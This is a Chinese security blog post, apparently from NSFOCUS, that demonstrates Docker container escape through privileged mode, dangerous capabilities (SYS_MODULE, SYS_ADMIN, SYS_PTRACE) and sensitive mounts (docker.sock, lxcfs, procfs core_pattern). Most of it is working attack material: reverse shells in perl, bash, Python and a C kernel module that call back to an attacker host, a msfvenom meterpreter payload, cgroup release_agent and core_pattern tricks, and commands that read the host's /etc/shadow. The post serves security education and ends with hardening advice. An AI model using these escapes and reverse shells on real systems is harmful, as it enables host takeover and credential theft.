随着K8S和Docker在企业的大量部署,业务发布越来越便捷和轻量化,但是同时也导致了容器安全问题的出现。在容器安全领域中容器逃逸是最重要的威胁之一,容器与宿主机之间通过Namespace 和Cgroups进行隔离,但是许多危险操作或者漏洞导致攻击者可以从容器里边逃逸到宿主机上。常用的逃逸手法包含四类:危险配置、危险挂载、组件漏洞、内核漏洞,本篇文章介绍危险配置与挂载导致逃逸的常用手法。
一、危险配置
1.1 Privileged特权模式导致容器逃逸
通过配置–privileged参数可以让docker以特权模式启动,当容器以特权模式启动时,docker容器可以访问主机上的所有设备,且有mount命令挂载权限。因为特权模式权限过大,从而导致了逃逸的风险,一般存在两种手法:挂载/dev、重写devices_allow,下面分别介绍。
方法1:特权模式下挂载 /dev
(1)使用 –privileged=true 创建一个特权容器:
docker run -idt –privileged=true –name privileged_test_666 ubuntu:18.04
(2)挂载磁盘
进入容器,查看挂载磁盘设备
fdisk -l
将宿主机文件挂载到 /test 目录下
mkdir /test && mount /dev/dm-0 /test
(3)敏感文件访问
尝试访问宿主机 shadow 文件,cat /test/etc/shadow,可以看到正常访问:
(4)反弹shell
在定时任务中写入反弹 shell:
echo $’*/1 * * * * root perl -e \’use Socket;$i=”10.66.255.100″;$p=7777;socket(S,PF_INET,SOCK_STREAM,getprotobyname(“tcp”));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,”>&S”);open(STDOUT,”>&S”);open(STDERR,”>&S”);exec(“/bin/sh -i”);};\” >> /test/etc/crontab
1分钟后攻击端收到宿主机返回的shell:
方法2:特权模式下重写devices_allow
(1)创建特权容器:
docker run -idt –name privileged_device_allow_test666 –privileged=true ubuntu:18.04
(2)重写devices.allow:
进入容器,寻找容器内的devices.allow文件:find . -name “devices.allow”
在该目录下执行 echo a > devices.allow,设置容器允许访问所有类型设备。
(3)查看/etc目录的node号和文件系统类型
cat /proc/self/mountinfo | grep /etc | awk ‘{print $3,$8}’ | head -1
(4)创建设备
在根目录下执行 mknod host b 253 0
(5)敏感文件读写:
由于是xfs文件系统,先挂载设备: mkdir /tmp/host_dir && mount host /tmp/host_dir,然后查看:cat /tmp/host_dir/etc/shadow
若是ext2/ext3/ext4文件系统,通过debugfs -w host进行调试即可读写文件:
可见,能够读取到主机上所有文件,逃逸成功!
1.2 cap_sys_module导致容器逃逸
cap_sys_module权限允许加载内核模块,如果在容器里加载一个恶意的内核模块,将直接导致逃逸。
- 编译ko文件:
首先写一个反弹shell的内核模块reverse-shell.c,代码如下:
#include <linux/kmod.h>
#include <linux/module.h>
char* argv[] = {“/bin/bash”,”-c”,”bash -i >& /dev/tcp/10.66.255.100/7777 0>&1″, NULL};
static char* envp[] = {“PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin”, NULL };
// call_usermodehelper function is used to create user mode processes from kernel space
static int __init reverse_shell_init(void) {
return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
}
static void __exit reverse_shell_exit(void) {
printk(KERN_INFO “Exiting\n”);
}
module_init(reverse_shell_init);
module_exit(reverse_shell_exit);
然后在同级目录下编写一个Makefile文件:
obj-m +=reverse-shell.o
all:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
clean:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
最后在同级目录下执行make进行编译,最终生成reverse-shell.ko文件:
- insmod生成:
由于容器环境中可能没有insmod命令,因此我们可以自己打包一个,代码如下:
#define _GNU_SOURCE
#include <fcntl.h>
#include <stdio.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>
#define init_module(module_image, len, param_values) syscall(__NR_init_module, module_image, len, param_values)
#define finit_module(fd, param_values, flags) syscall(__NR_finit_module, fd, param_values, flags)
int main(int argc, char **argv) {
const char *params;
int fd, use_finit;
size_t image_size;
struct stat st;
void *image;
/* CLI handling. */
if (argc < 2) {
puts(“Usage ./insmod.o mymodule.ko [args=”” [use_finit=0]”);
return EXIT_FAILURE;
}
if (argc < 3) {
params = “”;
} else {
params = argv[2];
}
if (argc < 4) {
use_finit = 0;
} else {
use_finit = (argv[3][0] != ‘0’);
}
/* Action. */
fd = open(argv[1], O_RDONLY);
if (use_finit) {
puts(“finit”);
if (finit_module(fd, params, 0) != 0) {
perror(“finit_module”);
return EXIT_FAILURE;
}
close(fd);
} else {
puts(“init”);
fstat(fd, &st);
image_size = st.st_size;
image = malloc(image_size);
read(fd, image, image_size);
close(fd);
if (init_module(image, image_size, params) != 0) {
perror(“init_module”);
return EXIT_FAILURE;
}
free(image);
}
return EXIT_SUCCESS;
}
编译之后产生可执行文件insmod.o:gcc insmod.c -o insmod.o
- 创建cap_sys_module容器:
docker run -idt –name cap_sys_module_test_666 –cap-add SYS_MODULE ubuntu:18.04
然后将reverse-shell.ko和 insmod.o文件传入容器中(实际攻击中通过网络工具下载):
docker cp reverse-shell.ko e2d8b9128222:/tmp
docker cp insmod.o e2d8b9128222:/tmp
- 反弹shell
运行insmod.o加载内核模块reverse-shell.ko,执行反弹shell:
攻击机10.66.255.100收到反弹shell:
1.3 cap_sys_admin导致容器逃逸
当拥有cap_sys_admin权限时,在容器内可以执行mount操作,从而可以将cgroup挂载进容器,实现逃逸。具体来说,分为两种方法,利用notify-on-release实现逃逸和重写devices.allow实现逃逸。
方法1:利用notify-on-release实现逃逸
(1)创建一个启用SYS_ADMIN Capability权限的容器:
docker run -idt –name notify_on_release_test_666 –cap-add=SYS_ADMIN ubuntu:18.04
注:centos系统不需要配置–security-opt apparmor=unconfined,其他系统需要
(2)进入容器,在容器内挂载宿主机cgroup,并自定义一个cgroup:
mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
(3)配置该cgroup的notify_no_release和release_agent:
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n ‘s/.*\perdir=\([^,]*\).*/\1/p’ /etc/mtab`
echo “$host_path/cmd” > /tmp/cgrp/release_agent
其中,cmd为需要宿主机执行的命令,本次使用sh反弹shell:
echo ‘#!/bin/sh’ > /cmd
echo “sh -i >& /dev/tcp/10.66.255.100/7777 0>&1” >> /cmd
chmod a+x /cmd
(4)反弹shell
触发release_agent执行反弹shell,攻击机10.66.255.100收到反弹shell。
sh -c “echo \$\$ > /tmp/cgrp/x/cgroup.procs”
方法2:重写devices.allow实现逃逸
(1)创建一个启用SYS_ADMIN Capability权限的容器:
docker run -idt –name sys_admin_device_allow_test666 –cap-add=SYS_ADMIN ubuntu:18.04注:centos系统不需要配置–security-opt apparmor=unconfined,其他系统需要
(2)进入容器,挂载cgroup
mkdir /tmp/dev && mount -t cgroup -o devices devices /tmp/dev
(3)重写devices.allow:
在容器内查找本容器的ID:
cat /proc/self/cgroup | grep docker | head -1 | sed ‘s/.*\/docker\/\(.*\)/\1/g’
cd/tmp/dev/docker/4453c9ca8ef6d9f54db227811d4dfe49fcbdb025265d8f5d9b0165e4232dd513
在该目录下执行 echo a > devices.allow,设置容器允许访问所有类型设备。
(4)查看/etc目录的node号和文件系统类型
cat /proc/self/mountinfo | grep /etc | awk ‘{print $3,$8}’ | head -1
(5)创建设备
在根目录下执行 mknod host b 253 0
(6)敏感文件读写:
由于是xfs文件系统,先挂载设备: mkdir /tmp/host_dir && mount host /tmp/host_dir,然后查看:cat /tmp/host_dir/etc/shadow
若是ext2/ext3/ext4文件系统,通过debugfs -w host进行调试即可读写文件:
可见,能够读取到主机上所有文件,逃逸成功!
1.4 cap_sys_ptrace &&–pid=host导致容器逃逸
cap_sys_ptrace权限允许对进程进行注入,当容器的pid namespace使用宿主机时便打破了进程隔离,从而使得容器可以对宿主机的进程进行注入,从而导致容器逃逸的风险。具体手法如下:
(1)主机进程创建
在宿主机中开启python服务,启动一个进程:
python -m SimpleHTTPServer 8080
(2)payload生成
生成一段shellcode,本文使用msf生成:
msfvenom -p linux/x64/meterpreter/reverse_tcp RHOST 10.66.255.100 RPORT 7777-f c -o a.c
下载exp:https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c,将exp中的shellcode修改为生成的shellcode,同时修改SHELLCODE_SIZE,而后编译生成可执行文件inject。
(3)创建CAP_SYS_PTRACE容器
docker run -idt –name sys_ptrace_test666 –pid=host –cap-add SYS_PTRACE ubuntu:18.04
而后将payload传入容器内:
docker cp inject b89cc6e5bbed:/tmp
(4)进程注入
进入容器,在容器内查看主机的进程: ps aux |grep python
进程注入成功。
二、危险挂载
2.1 挂载Docker Socket导致容器逃逸
Docker Socket是Docker守护进程监听的Unix域套接字,用来与守护进程通信。如果将Docker Socket(/var/run/docker.sock)挂载到容器内,则在容器内可以控制主机上的Docker创建新的恶意容器,从而实现逃逸。
(1)创建一个容器并挂载 /var/run/docker.sock 文件:
docker run -itd –name mnt_docker_sock_test_666 -v /var/run/docker.sock:/var/run/docker.sock ubuntu:18.04
(2)在容器内安装 Docker 命令行客户端。
apt-get update
apt-get install curl
curl -fsSL https://get.docker.com/ | sh
(3)在容器内部创建一个新的容器,并将宿主机根目录挂载到新的容器内部。
docker run -it -v /:/host ubuntu:18.04 /bin/bash
由上图可见,已经将宿主机根目录挂载到容器内部,通过读取或者改写敏感文件可以实现逃逸。
(4)敏感文件读取
在容器内部可以读取shadow、passwd等敏感文件:cat etc/shadow
2.2 挂载lxcfs导致容器逃逸
lxcfs 是一个开源的用户态文件系统,当容器挂载了lxcfs 目录时便包含了cgroup目录,且对cgroup有写权限,从而可以实现逃逸。
(1)在宿主机上安装并运行lxcfs。
yum install epel-release
yum install debootstrap perl libvirt
yum install lxc lxc-templates
yum install lxcfs-3.1.2-0.2.el7.x86_64.rpm
运行lxcfs:lxcfs /var/lib/lxcfs &
(2)docker起一个挂载lxcfs的容器:
docker run -idt –name lxcfs_devices_allow_test666 -v /var/lib/lxcfs:/tmp/lxcfs:rw –cap-add=SYS_ADMIN ubuntu:18.04
注:文件系统类型为xfs需要mount权限,因此需要–cap-add=SYS_ADMIN
若文件系统是ext2/ext3/ext4,则可以直接使用debugfs查看文件,不需要–cap-add=SYS_ADMIN
进入容器可以查看lxcfs的挂载位置,可见其目录下包含cgroup:
mount|grep lxcfs
(3)重写devices.allow,设置容器允许访问所有类型设备
echo a > /tmp/lxcfs/cgroup/devices/docker/8d8f19d5f3177028e32cd7bb6453c8b84f233e30473f3bd41a6568bfe502ed8d/devices.allow(容器ID需配置,一直跟着目录走可找到)
(4)查看/etc目录的node号和文件系统类型
cat /proc/self/mountinfo | grep /etc | awk ‘{print $3,$8}’ | head -1
(5)创建设备 mknod host b 253 0
(6)敏感文件读写:
由于是xfs文件系统,先挂载设备: mkdir /tmp/host_dir && mount host /tmp/host_dir,然后查看:cat /tmp/host_dir/etc/shadow
若是ext2/ext3/ext4文件系统,通过debugfs -w host进行调试即可读写文件:
可见,能够读取到主机上所有文件,逃逸成功!
2.3 挂载procfs导致容器逃逸
procfs是一个伪文件系统,它动态反映着系统内进程及其他组件的状态,其中有许多十分敏感重要的文件。因此,将宿主机的procfs挂载到不受控的容器中也是十分危险的,可以导致容器逃逸。
(1)创建一个容器并挂载/proc/sys/kernel/core_pattern目录:
docker run -idt –name mnt_procfs_test_666 -v /proc/sys/kernel/core_pattern:/host/proc/sys/kernel/core_pattern ubuntu:18.04
(2)进入容器,找到当前容器在宿主机下的绝对路径
cat /proc/mounts | xargs -d ‘,’ -n 1 | grep workdir
这就表示当前容器的绝对路径为:
/var/lib/docker/overlay2/1670eaaa00c674516e05a28eff4d10c22b6e1c1bfa75f9a69e27949253c45bbf/merged
(3)创建一个反弹 Shell 的 python脚本/tmp/.r.py,攻击机为10.66.255.100,监听端口7777,内容如下:
#!/usr/bin/python
import os
import pty
import socket
lhost = “10.66.255.100”
lport = 7777
def main():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((lhost, lport))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
os.putenv(“HISTFILE”, ‘/dev/null’)
pty.spawn(“/bin/bash”)
s.close()
if __name__ == “__main__”:
main()
给脚本赋予执行权限
chmod 777 /tmp/.r.py
(4)写入反弹 shell 到目标的 core_pattern目录下
echo -e “|/var/lib/docker/overlay2/ce9e4f107a0ba6c3b175462c049bcda5f18dad1ed9f87dfbce3ee0a53dceadd4/merged/tmp/.r.py \rcore ” > /host/proc/sys/kernel/core_pattern
(5)反弹shell
在攻击主机10.66.255.100上开启一个监听:nc -lvvp 7777
然后在容器里运行一个可以崩溃的C程序
#include<stdio.h>
int main(void) {
int *a = NULL;
*a = 1;
return 0;
}
编译程序并执行:gcc t.c -o ttt
攻击机收到宿主机反弹的shell,逃逸成功!
三、总结
由上面总结的手法可知,能够导致容器逃逸的手法是非常多的,这为容器安全带来了巨大的挑战。因此,在平时的开发和部署过程中,要慎重使用相关的权限,并且不要将敏感目录挂载到容器内,防止攻击者逃逸到宿主机上,从而对系统造成破坏。除此之外,也可以考虑在集群内部署相关的容器安全产品,实现对集群业务的防护。
版权声明
本站“技术博客”所有内容的版权持有者为绿盟科技集团股份有限公司(“绿盟科技”)。作为分享技术资讯的平台,绿盟科技期待与广大用户互动交流,并欢迎在标明出处(绿盟科技-技术博客)及网址的情形下,全文转发。
上述情形之外的任何使用形式,均需提前向绿盟科技(010-68438880-5462)申请版权授权。如擅自使用,绿盟科技保留追责权利。同时,如因擅自使用博客内容引发法律纠纷,由使用者自行承担全部法律责任,与绿盟科技无关。